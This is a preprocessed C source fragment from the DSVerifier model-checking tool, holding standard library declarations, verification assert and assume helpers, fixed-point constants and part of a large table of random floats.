extern int vfscanf (FILE *__restrict __s, const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vfscanf")
__attribute__ ((__format__ (__scanf__, 2, 0))) ;
extern int vscanf (const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vscanf")
__attribute__ ((__format__ (__scanf__, 1, 0))) ;
extern int vsscanf (const char *__restrict __s, const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vsscanf") __attribute__ ((__nothrow__ , __leaf__))
__attribute__ ((__format__ (__scanf__, 2, 0)));
# 485 "/usr/include/stdio.h" 3 4
extern int fgetc (FILE *__stream);
extern int getc (FILE *__stream);
extern int getchar (void);
extern int getc_unlocked (FILE *__stream);
extern int getchar_unlocked (void);
# 510 "/usr/include/stdio.h" 3 4
extern int fgetc_unlocked (FILE *__stream);
# 521 "/usr/include/stdio.h" 3 4
extern int fputc (int __c, FILE *__stream);
extern int putc (int __c, FILE *__stream);
extern int putchar (int __c);
# 537 "/usr/include/stdio.h" 3 4
extern int fputc_unlocked (int __c, FILE *__stream);
extern int putc_unlocked (int __c, FILE *__stream);
extern int putchar_unlocked (int __c);
extern int getw (FILE *__stream);
extern int putw (int __w, FILE *__stream);
extern char *fgets (char *__restrict __s, int __n, FILE *__restrict __stream)
;
# 603 "/usr/include/stdio.h" 3 4
extern __ssize_t __getdelim (char **__restrict __lineptr,
size_t *__restrict __n, int __delimiter,
FILE *__restrict __stream) ;
extern __ssize_t getdelim (char **__restrict __lineptr,
size_t *__restrict __n, int __delimiter,
FILE *__restrict __stream) ;
extern __ssize_t getline (char **__restrict __lineptr,
size_t *__restrict __n,
FILE *__restrict __stream) ;
extern int fputs (const char *__restrict __s, FILE *__restrict __stream);
extern int puts (const char *__s);
extern int ungetc (int __c, FILE *__stream);
extern size_t fread (void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __stream) ;
extern size_t fwrite (const void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __s);
# 673 "/usr/include/stdio.h" 3 4
extern size_t fread_unlocked (void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __stream) ;
extern size_t fwrite_unlocked (const void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __stream);
extern int fseek (FILE *__stream, long int __off, int __whence);
extern long int ftell (FILE *__stream) ;
extern void rewind (FILE *__stream);
# 707 "/usr/include/stdio.h" 3 4
extern int fseeko (FILE *__stream, __off_t __off, int __whence);
extern __off_t ftello (FILE *__stream) ;
# 731 "/usr/include/stdio.h" 3 4
extern int fgetpos (FILE *__restrict __stream, fpos_t *__restrict __pos);
extern int fsetpos (FILE *__stream, const fpos_t *__pos);
# 757 "/usr/include/stdio.h" 3 4
extern void clearerr (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int feof (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int ferror (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void clearerr_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int feof_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int ferror_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void perror (const char *__s);
# 1 "/usr/include/x86_64-linux-gnu/bits/sys_errlist.h" 1 3 4
# 26 "/usr/include/x86_64-linux-gnu/bits/sys_errlist.h" 3 4
extern int sys_nerr;
extern const char *const sys_errlist[];
# 782 "/usr/include/stdio.h" 2 3 4
extern int fileno (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int fileno_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
# 800 "/usr/include/stdio.h" 3 4
extern FILE *popen (const char *__command, const char *__modes) ;
extern int pclose (FILE *__stream);
extern char *ctermid (char *__s) __attribute__ ((__nothrow__ , __leaf__));
# 840 "/usr/include/stdio.h" 3 4
extern void flockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int ftrylockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void funlockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
# 858 "/usr/include/stdio.h" 3 4
extern int __uflow (FILE *);
extern int __overflow (FILE *, int);
# 873 "/usr/include/stdio.h" 3 4
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 2
# 21 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
void __DSVERIFIER_assume(_Bool expression){
__CPROVER_assume(expression);
}
void __DSVERIFIER_assert(_Bool expression){
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
((void) sizeof ((
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
expression
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
expression
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
) ; else __assert_fail (
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
"expression"
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h", 36, __extension__ __PRETTY_FUNCTION__); }))
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
;
}
void __DSVERIFIER_assert_msg(_Bool expression, char * msg){
printf("%s", msg);
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
((void) sizeof ((
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
expression
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
expression
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
) ; else __assert_fail (
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
"expression"
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h", 41, __extension__ __PRETTY_FUNCTION__); }))
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
;
}
# 22 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h" 1
# 27 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdint.h" 1 3 4
# 9 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdint.h" 3 4
# 1 "/usr/include/stdint.h" 1 3 4
# 26 "/usr/include/stdint.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 1 3 4
# 27 "/usr/include/stdint.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wchar.h" 1 3 4
# 29 "/usr/include/stdint.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 30 "/usr/include/stdint.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/stdint-uintn.h" 1 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/stdint-uintn.h" 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/stdint-uintn.h" 3 4
typedef __uint8_t uint8_t;
typedef __uint16_t uint16_t;
typedef __uint32_t uint32_t;
typedef __uint64_t uint64_t;
# 38 "/usr/include/stdint.h" 2 3 4
typedef __int_least8_t int_least8_t;
typedef __int_least16_t int_least16_t;
typedef __int_least32_t int_least32_t;
typedef __int_least64_t int_least64_t;
typedef __uint_least8_t uint_least8_t;
typedef __uint_least16_t uint_least16_t;
typedef __uint_least32_t uint_least32_t;
typedef __uint_least64_t uint_least64_t;
typedef signed char int_fast8_t;
typedef long int int_fast16_t;
typedef long int int_fast32_t;
typedef long int int_fast64_t;
# 71 "/usr/include/stdint.h" 3 4
typedef unsigned char uint_fast8_t;
typedef unsigned long int uint_fast16_t;
typedef unsigned long int uint_fast32_t;
typedef unsigned long int uint_fast64_t;
# 87 "/usr/include/stdint.h" 3 4
typedef long int intptr_t;
typedef unsigned long int uintptr_t;
# 101 "/usr/include/stdint.h" 3 4
typedef __intmax_t intmax_t;
typedef __uintmax_t uintmax_t;
# 10 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdint.h" 2 3 4
# 28 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h" 2
# 1 "/usr/include/inttypes.h" 1 3 4
# 34 "/usr/include/inttypes.h" 3 4
typedef int __gwchar_t;
# 266 "/usr/include/inttypes.h" 3 4
typedef struct
{
long int quot;
long int rem;
} imaxdiv_t;
# 290 "/usr/include/inttypes.h" 3 4
extern intmax_t imaxabs (intmax_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern imaxdiv_t imaxdiv (intmax_t __numer, intmax_t __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern intmax_t strtoimax (const char *__restrict __nptr,
char **__restrict __endptr, int __base) __attribute__ ((__nothrow__ , __leaf__));
extern uintmax_t strtoumax (const char *__restrict __nptr,
char ** __restrict __endptr, int __base) __attribute__ ((__nothrow__ , __leaf__));
extern intmax_t wcstoimax (const __gwchar_t *__restrict __nptr,
__gwchar_t **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__));
extern uintmax_t wcstoumax (const __gwchar_t *__restrict __nptr,
__gwchar_t ** __restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__));
# 432 "/usr/include/inttypes.h" 3 4
# 29 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h" 2
# 30 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
extern implementation impl;
typedef int64_t fxp_t;
fxp_t _fxp_one;
fxp_t _fxp_half;
fxp_t _fxp_minus_one;
fxp_t _fxp_min;
fxp_t _fxp_max;
double _dbl_max;
double _dbl_min;
fxp_t _fxp_fmask;
fxp_t _fxp_imask;
static const double scale_factor[31] = { 1.0, 2.0, 4.0, 8.0, 16.0, 32.0, 64.0,
128.0, 256.0, 512.0, 1024.0, 2048.0, 4096.0, 8192.0, 16384.0, 32768.0,
65536.0, 131072.0, 262144.0, 524288.0, 1048576.0, 2097152.0, 4194304.0,
8388608.0, 16777216.0, 33554432.0, 67108864.0, 134217728.0,
268435456.0, 536870912.0, 1073741824.0 };
static const double scale_factor_inv[31] = { 1.0, 0.5, 0.25, 0.125, 0.0625,
0.03125, 0.015625, 0.0078125, 0.00390625, 0.001953125, 0.0009765625,
0.00048828125, 0.000244140625, 0.0001220703125, 0.00006103515625,
0.000030517578125, 0.000015258789063, 0.000007629394531,
0.000003814697266, 0.000001907348633, 0.000000953674316,
0.000000476837158, 0.000000238418579, 0.000000119209290,
0.000000059604645, 0.000000029802322, 0.000000014901161,
0.000000007450581, 0.000000003725290, 0.000000001862645,
0.000000000931323 };
static const float rand_uni[10000] = { -0.486240329978498f, -0.0886462298529236f, -0.140307596103306f, 0.301096597450952f, 0.0993171079928659f, 0.971751769763271f, 0.985173975730828f, 0.555993645184930f, 0.582088652691427f, -0.153377496651175f, 0.383610009058905f, -0.335724126391271f, 0.978768141636516f, -0.276250018648572f, 0.390075705739569f, -0.179022404038782f, 0.690083827115783f, -0.872530132490992f, -0.970585763293203f, -0.581476053441704f, -0.532614615674888f, -0.239699306693312f, -0.678183014035494f, 0.349502640932782f, -0.210469890686263f, 0.841262085391842f, -0.473585465151401f, 0.659383565443701f, -0.651160036945754f, -0.961043527561335f, -0.0814927639199137f, 0.621303110569702f, -0.784529166943541f, 0.0238464770757800f, 0.392694728594110f, 0.776848735202001f, 0.0870059709310509f, 0.880563655271790f, 0.883457036977564f, -0.249235082877382f, -0.691040749216870f, 0.578731120064320f, -0.973932858000832f, -0.117699105431720f, -0.723831748151088f, -0.483149657477524f, -0.821277691383664f, -0.459725618100875f, 0.148175952221864f, 0.444306875534854f, -0.325610376336498f, 0.544142311404910f, -0.165319440455435f, 0.136706800705517f, 0.543312481350682f, 0.467210959764607f, -0.349266618228534f, -0.660110730565862f, 0.910332331495431f, 0.961049802789367f, -0.786168905164629f, 0.305648402726554f, 0.510815258508885f, 0.0950733260984060f, 0.173750645487898f, 0.144488668408672f, 0.0190031984466126f, -0.299194577636724f, 0.302411647442273f, -0.730462524226212f, 0.688646006554796f, 0.134948379722118f, 0.533716723458894f, -0.00226300779660438f, -0.561340777806718f, 0.450396313744017f, -0.569445876566955f, 0.954155246557698f, -0.255403882430676f, -0.759820984120828f, -0.855279790307514f, -0.147352581758156f, -0.302269055643746f, -0.642038024364086f, -0.367405981107491f, 0.491844011712164f, -0.542191710121194f, -0.938294043323732f, 0.683979894338020f, 0.294728290855287f, 0.00662691839443919f, -0.931040350582855f, 0.152356209974418f, 0.678620860551457f, -0.534989269238408f, 0.932096367913226f, -0.0361062818028513f, -0.847189697149530f, -0.975903030160255f, 0.623293205784014f, -0.661289688031659f, 0.724486055119603f, 0.307504095172835f, 0.00739266163731767f, -0.393681596442097f, 0.0313739422974388f, 0.0768157689673350f, -0.652063346886817f, 0.864188030044388f, -0.588932092781034f, 0.496015896758580f, -0.872858269231211f, 0.978780599551039f, -0.504887732991147f, -0.462378791937628f, 0.0141726829338038f, 0.769610007653591f, 0.945233033188923f, -0.782235375325016f, -0.832206533738799f, 0.745634368088673f, -0.696969510157151f, -0.0674631869948374f, -0.123186450806584f, -0.359158959141949f, -0.393882649464391f, 0.441371446689899f, -0.829394270569736f, -0.301502651277431f, -0.996215501187289f, 0.934634037393066f, -0.282431114746289f, -0.927550795619590f, -0.437037530043415f, -0.360426812995980f, 0.949549724575862f, 0.502784616197919f, 0.800771681422909f, -0.511398929004089f, 0.309288504642554f, -0.207261227890933f, 0.930587995125773f, -0.777029876696670f, -0.489329175755640f, -0.134595132329858f, 0.285771358983518f, 0.182331373854387f, -0.544110494560697f, 0.278439882883985f, -0.556325158102182f, 0.579043806545889f, 0.134648133801916f, 0.602850725479294f, -0.151663563868883f, 0.180694361855878f, -0.651591295315595f, 0.281129147768056f, -0.580047306475484f, 0.687883075491433f, 0.279398670804288f, -0.853428128249503f, -0.532609367372680f, -0.821156786377917f, -0.181273229058573f, -0.983898569846882f, -0.0964374318311501f, 0.880923372124250f, 0.102643371392389f, 0.893615387135596f, -0.259276649383649f, 0.699287743639363f, 0.402940604635828f, -0.110721596226581f, 0.0846246472582877f, 0.820733021865405f, 0.795578903285308f, -0.495144122011537f, 0.273150029257472f, -0.268249949701437f, 0.231982193341980f, 0.694211299124074f, 0.859950868718233f, 0.959483382623794f, -0.422972626833543f, -0.109621798738360f, 0.433094703426531f, 0.694025903378851f, 0.374478987547435f, -0.293668545105608f, -0.396213864190828f, -0.0632095887099047f, -0.0285139536748673f, 0.831794132192390f, -0.548543088139238f, 0.791869201724680f, 0.325211484201845f, 0.155274810721772f, -0.112383643064821f, -0.674403070297721f, 0.642801068229810f, -0.615712048835242f, -0.322576771285566f, -0.409336818836595f, 0.548069973193770f, -0.386353709407947f, -0.0741664985357784f, 0.619639599324983f, -0.815703814931314f, 0.965550307223862f, 0.623407852683828f, -0.789634372832984f, 0.736750050047572f, -0.0269443926793700f, 0.00545706093721488f, -0.315712479832091f, -0.890110021644720f, -0.869390443173846f, -0.381538869981866f, -0.109498998005949f, 0.131433952330613f, -0.233452413139316f, 0.660289822785465f, 0.543381186340023f, -0.384712418750451f, -0.913477554164890f, 0.767102957655267f, -0.115129944521936f, -0.741161985822647f, -0.0604180020782450f, -0.819131535144059f, -0.409539679760029f, 0.574419252943637f, -0.0440704617157433f, 0.933173744590532f, 0.261360623390448f, -0.880290575543046f, 0.329806293425492f, 0.548915621667952f, 0.635187167795234f, -0.611034070318967f, 0.458196727901944f, 0.397377226781023f, 0.711941361933987f, 0.782147744383368f, -0.00300685339552631f, 0.384687233450957f, 0.810102466029521f, 0.452919847968424f, -0.183164257016897f, -0.755603185485427f, -0.604334477365858f, -0.786222413488860f, -0.434887500763099f, -0.678845635625581f, -0.381200370488331f, -0.582350534916068f, -0.0444427346996734f, 0.116237247526397f, -0.364680921206275f, -0.829395404347498f, -0.258574590032613f, -0.910082114298859f, 0.501356900925997f, 0.0295361922006900f, -0.471786618165219f, 0.536352925101547f, -0.316120662284464f, -0.168902841718737f, 0.970850119987976f, -0.813818666854395f, -0.0861183123848732f, 0.866784827877161f, 0.535966478165739f, -0.806958669103425f, -0.627307415616045f, -0.686618354673079f, 0.0239165685193152f, 0.525427699287402f, 0.834079334357391f, -0.527333932295852f, 0.130970034225907f, -0.790218350377199f, 0.399338640441987f, 0.133591886379939f, -0.181354311053254f, 0.420121912637914f, -0.625002202728601f, -0.293296669160307f, 0.0113819513424340f, -0.882382002895096f, -0.883750159690028f, 0.441583656876336f, -0.439054135454480f, 0.873049498123622f, 0.660844523562817f, 0.0104240153103699f, 0.611420248331623f, -0.235926309432748f, 0.207317724918460f, 0.884691834560657f, 0.128302402592277f, -0.283754448219060f, 0.237649901255856f, 0.610200763264703f, -0.625035441247926f, -0.964609592118695f, -0.323146562743113f, 0.961529402270719f, -0.793576233735450f, -0.843916713821003f, 0.314105102728384f, -0.204535560653294f, 0.753318789613803f, 0.160678386635821f, -0.647065919861379f, -0.202789866826280f, 0.648108234268198f, -0.261292621025902f, 0.156681828732770f, 0.405377351820066f, 0.228465381497500f, 0.972348516671163f, 0.288346037401522f, -0.0799068604307178f, 0.916939290109587f, -0.279220972402209f, -0.203447523864279f, -0.533640046855273f, 0.543561961674653f, 0.880711097286889f, -0.549683064687774f, 0.0130107219236368f, -0.554838164576024f, -0.379442406201385f, -0.00500104610043062f, 0.409530122826868f, -0.580423080726061f, 0.824555731914455f, -0.254134502966922f, 0.655609706875230f, 0.629093866184236f, -0.690033250889974f, -0.652346551677826f, 0.169820593515952f, 0.922459552232043f, 0.351812083539940f, 0.876342426613034f, -0.513486005850680f, -0.626382302780497f, -0.734690688861027f, 0.245594886018314f, -0.875740935105191f, -0.388580462918006f, 0.0127041754106421f, -0.0330962560066819f, -0.425003146474193f, 0.0281641353527495f, 0.261441358666622f, 0.949781327102773f, 0.919646340564270f, 0.504503377003781f, 0.0817071051871894f, 0.319968570729658f, 0.229065413577318f, -0.0512608414259468f, -0.0740848540944785f, -0.0974457038582892f, 0.532775710298005f, -0.492913317622840f, 0.492871078783642f, -0.289562388384881f, 0.229149968879593f, 0.697586903105899f, 0.900855243684925f, 0.969700445892771f, -0.618162745501349f, -0.533241431614228f, -0.937955908995453f, 0.886669636523452f, 0.498748076602594f, 0.974106016180519f, -0.199411214757595f, 0.725270392729083f, -0.0279932700005097f, -0.889385821767448f, -0.452211028905500f, -0.487216271217731f, -0.577105004471439f, 0.777405674160298f, 0.390121144627092f, -0.595062864225581f, -0.844712795815575f, -0.894819796738658f, 0.0556635002662202f, 0.200767245646242f, 0.481227096067452f, -0.0854169009474664f, 0.524532943920022f, -0.880292014538901f, -0.127923833629789f, -0.929275628802356f, 0.233276357260949f, -0.776272194935070f, 0.953325886548014f, -0.884399921036004f, -0.504227548828417f, -0.546526107689276f, 0.852622421886067f, 0.947722695551154f, -0.668635552599119f, 0.768739709906834f, 0.830755876586102f, -0.720579994994166f, 0.761613532216491f, 0.340510345777526f, 0.335046764810816f, 0.490102926886310f, -0.568989013749608f, -0.296018470377601f, 0.979838924243657f, 0.624231653632879f, 0.553904401851075f, -0.355359451941014f, 0.267623165480721f, 0.985914275634075f, -0.741887849211797f, 0.560479100333108f, -0.602590162007993f, -0.874870765077352f, -0.0306218773384892f, 0.963145768131215f, 0.544824028787036f, -0.133990816021791f, 0.0679964588712787f, -0.156401335214901f, -0.0802554171832672f, 0.856386218492912f, 0.143013580527942f, 0.403921859374840f, -0.179029058044097f, 0.770723540077919f, -0.183650969350452f, -0.340718434629824f, 0.217166124261387f, -0.171159949445977f, 0.127493767348173f, -0.649649349141405f, -0.0986978180993434f, 0.301786606637125f, 0.942172200207855f, 0.0323236270151113f, -0.579853744301016f, -0.964413060851558f, 0.917535782777861f, 0.442144649483292f, -0.684960854610878f, -0.418908715566712f, 0.617844265088789f, 0.897145578082386f, 0.235463167636481f, 0.0166312355859484f, 0.948331447443040f, -0.961085640409103f, -0.0386086809179784f, -0.949138997977665f, 0.738211385880427f, 0.613757309091864f, -0.606937832993426f, 0.825253298062192f, 0.932609757667859f, -0.169023247637751f, -0.411237965787391f, 0.550590803600950f, -0.0561729280137304f, -0.559663108323671f, -0.718592671237337f, 0.885889621415361f, -0.364207826334344f, -0.839614660327507f, 0.265502694339344f, 0.394329270534417f, -0.270184577808578f, -0.865353487778069f, -0.528848754655393f, -0.179961524561963f, 0.571721065613544f, -0.774363220756696f, 0.251123315200792f, -0.217722762975159f, 0.0901359910328954f, -0.329445470667965f, 0.366410356722994f, -0.777512662632715f, 0.654844363477267f, -0.882409911562713f, -0.613612530795153f, -0.926517759636550f, 0.111572665207194f, 0.0729846382226607f, 0.789912813274098,
0.784452109264882f, -0.949766989295825f, 0.318378232675431f, 0.732077593075111f, 0.786829143208386f, -0.134682559823644f, 0.733164743374965f, 0.978410877665941f, 0.992008491438409f, -0.319064303035495f, 0.958430683602029f, 0.514518212363212f, 0.101876224417090f, 0.642655735778237f, -0.170746516901312f, 0.252352078365623f, -0.761327278132210f, 0.724119717129199f, 0.889374997869224f, -0.785987369200692f, -0.594670344572584f, 0.805192297495935f, -0.990523259595814f, 0.483998949026664f, 0.747350619254878f, -0.824845161088780f, 0.543009506581798f, -0.208778528683094f, -0.314149951901368f, 0.943576771177672f, -0.102633559170861f, -0.947663019606703f, -0.557033071578968f, 0.419150797499848f, 0.251214274356296f, 0.565717763755325f, 0.126676667925064f, -0.0213369479214840f, 0.342212953426240f, -0.288015274572288f, 0.121313363277304f, 0.452832374494206f, 0.545420403121955f, -0.616024063400938f, -0.0320352392995826f, -0.400581850938279f, 0.0642433474653812f, -0.673966224453150f, 0.951962939602010f, -0.241906012952983f, 0.0322060960995099f, -0.449185553826233f, -0.709575766146540f, 0.0283340814242898f, 0.234237103593580f, -0.285526615094797f, -0.793192668153991f, -0.437130485497140f, -0.956132143306919f, 0.601158367473616f, 0.238689691528783f, 0.173709925321432f, 0.437983847738997f, 0.397380645202102f, 0.432093344086237f, -0.0338869881121104f, -0.966303269542493f, 0.875351570183604f, -0.0584554089652962f, 0.294207497692552f, 0.200323088145182f, 0.826642387259759f, 0.284806025494260f, -0.00660991970522007f, 0.682493772727303f, -0.151980775670668f, 0.0470705546940635f, -0.236378427235531f, -0.844780853112247f, 0.134166207564174f, -0.586842667384924f, 0.0711866699414370f, 0.311698821368897f, -0.361229767252053f, 0.750924311039976f, 0.0764323989785694f, 0.898463708247144f, 0.398232179543916f, -0.515644913011399f, -0.189067061520362f, -0.567430593060929f, -0.641924269747436f, -0.0960378699625619f, -0.792054031692334f, 0.803891878854351f, -0.233518627249889f, -0.892523453249154f, 0.707550017996875f, -0.782288435525895f, -0.156166443894764f, -0.543737876329167f, 0.565637809380957f, -0.757689989749326f, -0.612543942167974f, -0.766327195073259f, 0.587626843767440f, -0.280769385897397f, -0.457487372245825f, 0.0862799426622438f, -0.616867284053547f, 0.121778903484808f, -0.451988651573766f, -0.618146087265495f, -0.285868777534354f, 0.108999472244014f, -0.620755183347358f, -0.268563184810196f, -0.721678169615489f, -0.146060198874409f, -0.661506858070617f, 0.901707853998409f, 0.222488776533930f, 0.679599685031679f, 0.974760448601209f, 0.535485953830496f, -0.562345697123585f, 0.369219363331071f, -0.0282801684694869f, -0.0734880727832297f, 0.733216287314358f, -0.514352095765627f, -0.850813063545195f, 0.642458447327163f, 0.118661521915783f, -0.907015526838341f, 0.789277766886329f, -0.719864125961721f, 0.274329068829509f, 0.830124687647056f, 0.719352367261587f, -0.821767317737384f, -0.840153496829227f, 0.650796781936517f, 0.381065387870166f, 0.341870564586224f, -0.00174423702285131f, -0.216348832349188f, 0.678010477635713f, -0.748695103596683f, -0.819659325555269f, 0.620922373008647f, 0.471659250504894f, 0.417848292160984f, -0.990577315445198f, -0.509842007818877f, 0.705761459091187f, 0.723072116074702f, -0.606476484252158f, -0.871593699865195f, -0.662059658667501f, -0.207267692377271f, -0.274706370444270f, 0.317047325063391f, 0.329780707114887f, -0.966325651181920f, -0.666131009799803f, 0.118609206658210f, 0.232960448350140f, -0.139134616436389f, -0.936412642687343f, -0.554985387484625f, -0.609914445911143f, -0.371023087262482f, -0.461044793696911f, 0.0277553171809701f, -0.241589304772568f, -0.990769995548029f, 0.114245771600061f, -0.924483328431436f, 0.237901450206836f, -0.615461633242452f, 0.201497106528945f, -0.599898812620374f, 0.982389910778332f, 0.125701388874024f, -0.892749115498369f, 0.513592673006880f, 0.229316745749793f, 0.422997355912517f, 0.150920221978738f, 0.447743452078441f, 0.366767059168664f, -0.605741985891581f, 0.274905013892524f, -0.861378867171578f, -0.731508622159258f, 0.171187057183023f, 0.250833501952177f, -0.609814068526718f, -0.639397597618127f, -0.712497631420166f, -0.539831932321101f, -0.962361328901384f, 0.799060001548069f, 0.618582550608426f, -0.603865594092701f, -0.750840334759883f, -0.432368099184739f, -0.581021252111797f, 0.134711953024238f, 0.331863889421602f, -0.172907726656169f, -0.435358718118896f, -0.689326993725649f, 0.415840315809038f, -0.333576262820904f, 0.279343777676723f, -0.0393098862927832f, 0.00852090010085194f, -0.853705195692250f, 0.526006696633762f, -0.478653377052437f, -0.584840261391485f, 0.679261003071696f, 0.0367484618219474f, -0.616340335633997f, -0.912843423145420f, -0.221248732289686f, -0.477921890680232f, -0.127369625511666f, 0.865190146410824f, 0.817916456258544f, 0.445973590438029f, -0.621435280140991f, -0.584264056171687f, 0.718712277931876f, -0.337835985469843f, 0.00569064504159345f, -0.546546294846311f, 0.101653624648361f, -0.795498735829364f, -0.249043531299132f, -0.112839395737321f, -0.350305425122331f, -0.910866368205041f, 0.345503177966105f, -0.549306515692918f, 0.711774722622726f, 0.283368922297518f, 0.0401988801224620f, 0.269228967910704f, 0.408165826013612f, -0.306571373865680f, 0.937429053394878f, 0.992154362395068f, 0.679431847774404f, 0.660561953302554f, 0.903254489326130f, -0.939312119455540f, -0.211194531611303f, 0.401554296146757f, -0.0373187111351370f, -0.209143098987164f, -0.483955198209448f, -0.860858509666882f, 0.847006442151417f, 0.287950263267018f, 0.408253171937961f, -0.720812569529331f, 0.623305171273525f, 0.543495760078790f, -0.364025150023839f, -0.893335585394842f, -0.757545415624741f, -0.525417020183382f, -0.985814550271000f, -0.571551008375522f, 0.930716377819686f, -0.272863385293023f, 0.982334910750391f, 0.297868844366342f, 0.922428080219044f, 0.917194773824871f, 0.846964493212884f, 0.0641834146212110f, 0.279768184306094f, 0.591959126556958f, 0.355630573995206f, 0.839818707895839f, 0.219674727597944f, -0.174518904670883f, 0.708669864813752f, -0.224562931791369f, 0.677232454840133f, -0.904826802486527f, -0.627559033402838f, 0.263680517444611f, 0.121902314059156f, -0.704881790282995f, 0.242825089229032f, -0.309373554231866f, -0.479824461459095f, -0.720536286348018f, -0.460418173937526f, 0.774174710513849f, 0.452001499049874f, -0.316992092650694f, 0.153064869645527f, -0.209558599627989f, 0.685508351648252f, -0.508615450383790f, 0.598109567185095f, 0.391177475074196f, 0.964444988755186f, 0.336277292954506f, -0.0367817159101076f, -0.668752640081528f, 0.169621732437504f, -0.440925495294537f, 0.352359477392856f, 0.300517139597811f, 0.464188724292127f, 0.342732840629593f, -0.772028689116952f, 0.523987886508557f, 0.920723209445309f, 0.325634245623597f, 0.999728757965472f, -0.108202444213629f, -0.703463061246440f, -0.764321104361266f, 0.153478091277821f, 0.400776808520781f, 0.0362608595686520f, 0.602660289034871f, -0.00396673312072204f, 0.296881393918662f, 0.563978362789779f, 0.849699999703012f, 0.699481370949461f, -0.517318771826836f, 0.488696839410786f, -0.863267084031406f, 0.0353144039838211f, 0.346060763700543f, 0.964270355001567f, 0.354899825242107f, 0.806313705199543f, 0.675286452110240f, 0.0873918818789949f, -0.595319879813140f, 0.768247284622921f, 0.424433552458434f, 